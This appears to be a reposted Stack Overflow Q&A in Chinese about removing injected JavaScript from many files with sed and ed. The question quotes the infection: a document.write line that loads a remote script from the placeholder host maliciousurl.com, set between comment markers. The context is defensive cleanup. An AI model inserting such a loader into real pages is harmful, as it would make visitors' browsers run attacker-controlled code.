gpt4 book ai didi

sed - 如何从文本文件中删除多行,包括匹配的行?

转载 作者:行者123 更新时间:2023-12-04 19:38:14 24 4
gpt4 key购买 nike

我在几十个文件中发现了一些恶意 JavaScript。

恶意代码如下所示:

/*123456*/
document.write('<script type="text/javascript" src="http://maliciousurl.com/asdf/KjdfL4ljd?id=9876543"></script>');

/*/123456*/

某种开始标签,插入远程脚本的 document.write,看似空的行,然后是它们的“结束标签”。

在对 this Stack Overflow answer 的评论中,我发现了如何删除单个文件中的一行。
sed -i '/pattern to match/d' ./infile

但是我需要删除之前的一行,之后的两行,并且它至少在几十个文件中。

所以我想我也许可以使用 grep -lr 来查找文件名,然后将每个文件名传递给 sed 并以某种方式删除匹配的行,以及之前的一个和之后的 2 个(总共 4 行)。要匹配的模式可能是 "\n*\nmaliciousurl\n\n*\n"

我也试过这个,试图用空字符串替换模式。 .* 是开始/结束标签中的十六进制数字,也是标签之间的东西。
sed -e '\%/\*.*\*/.*maliciousurl.*/\*/.*\*/%,\%%d' test.js

最佳答案

您需要匹配开始和结束注释,而不是 document.write 行:

sed -e '\%/\*123456\*/%,\%/\*/123456\*/%d'

这使用 % 符号代替更普通的 / 来分隔模式,当模式包含斜杠且不包含 % 符号时,这通常是一个好主意。前导 \ 告诉 sed 后面的字符是模式分隔符。您可以使用任何字符(反斜杠或换行符除外)代替 % ; Control-A 是另一个值得考虑的好方法。

来自 Mac OS X 上的 sed 手册:

In a context address, any character other than a backslash ('\') or newline character may be used to delimit the regular expression. Also, putting a backslash character before the delimiting character causes the character to be treated literally. For example, in the context address \xabc\xdefx, the RE delimiter is an 'x' and the second 'x' stands for itself, so that the regular expression is 'abcxdef'.



现在,如果事实上您的模式不像您在示例中显示的 /*123456*/ 那样容易识别,那么您可能被迫关闭恶意 URL。但是,在这种情况下,您不能很容易地使用 sed;它不能做相对偏移( /x/+1 是不允许的,更不用说 /x/-1 了)。那时,您可能会求助于 ed (或者可能是 ex ):
ed - $file <<'EOF'
g/maliciousurl.com/.-1,.+2d
w
q
EOF

这会对恶意 URL 进行全局搜索,每次出现时,都会从当前行 ( .-1) 之前的行删除到其之后的两行 ( .+2)。然后写入文件并退出。

关于sed - 如何从文本文件中删除多行,包括匹配的行?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/23072805/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com